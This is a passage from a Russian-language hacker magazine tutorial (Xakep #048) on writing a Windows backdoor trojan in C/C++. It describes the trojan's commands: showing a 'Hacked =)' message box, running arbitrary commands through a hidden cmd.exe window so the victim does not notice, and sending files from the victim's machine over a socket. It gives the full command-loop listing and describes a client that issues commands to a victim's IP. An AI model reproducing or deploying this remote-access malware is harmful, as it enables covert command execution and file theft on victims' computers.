|
С/C++
Xakep, номер #048, стр. 048-087-4 Распишем функции трояна подробнее: Если первый символ m, то выполняется функция MessageBox(0,buf,"Hacked =)",0), где buf - это наш второй буфер. Если первый символ e, то строка buf выполняется через cmd.exe c параметром /c, для этого запускается функция с такими параметрами ShellExecuteA(NULL, "open", "cmd.exe", buf_command, NULL, SW_HIDE), где buf_command - это наш буфер с добавленной вперед строкой "/c ", а SW_HIDE указывает на то, что жертва не должна видеть появляющуюся консоль. И последняя, самая сложная функция, осуществляющая скачивание файла с машины жертвы. Она выполняется в случае, если первый символ - это f. Сначала она открывает файл только для чтения функцией CreateFile. А затем, если файл существует, в цикле посылает по 4096 байтов этого файла. Если же байтов отослано меньше, значит, это конец файла и цикл прерывается. А сигналом для клиента, что файл закончился, будет дисконнект. Клиент В роли клиента может выступать любая программа, которая может послать пакет заданного нами формата жертве. То есть сконнектиться с серваком и выполнить команду типа: send(sock,"m Hello",128,0). Но на всякий случай я написал клиент, который работает из командной строки, и, по идее, его легко перенести на любую платформу. Посылка команды трояну осуществляется командой client.exe [ip жертвы] [функция] [аргумент], например: client 127.0.0.1 m Привет. Break Тема написания трояна под windows, как и под любую другую операционку, очень обширна, и мы рассмотрели лишь ма-а-аленькую ее часть. Если тебе интересно узнать о троянах подробнее, например, о стелс-технологиях и об осуществлении хитрых функций, пиши мне, и я постараюсь помочь с инфой. Полные исходники трояна и клиента с проектом для VC++ .NET ты можешь скачать с сайта www.xakep.ru. На этом все. Удачного компилирования. Листинг ComandLoop'а char type[2], buf[126]; while(true){ SOCKET hack_Sock = accept(listet_Sock,0,0); while(true){ int i = recv(hack_Sock, type, 2, 0); recv(hack_Sock, buf, 126, 0); if ((i== SOCKET_ERROR)||(i == 0)) break; if (type[0] == 'm') MessageBox(0,buf,"Hacked =)",0); else if (type[0] == 'e') { char buf_command[129] = "/c "; strcat(buf_command,buf); ShellExecuteA(NULL, "open", "cmd.exe", buf_command, NULL, SW_HIDE); }else if (type[0] == 'f') { HANDLE hFile = CreateFile(buf,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); if (hFile != INVALID_HANDLE_VALUE){ DWORD dwBytesRead; char buff[4096]; do if (ReadFile(hFile, buff, 4096, &dwBytesRead, NULL)) send(hack_Sock,buff,4096,0); while (dwBytesRead == 4096); break; } CloseHandle(hFile); } } shutdown(hack_Sock,1); closesocket(hack_Sock); } |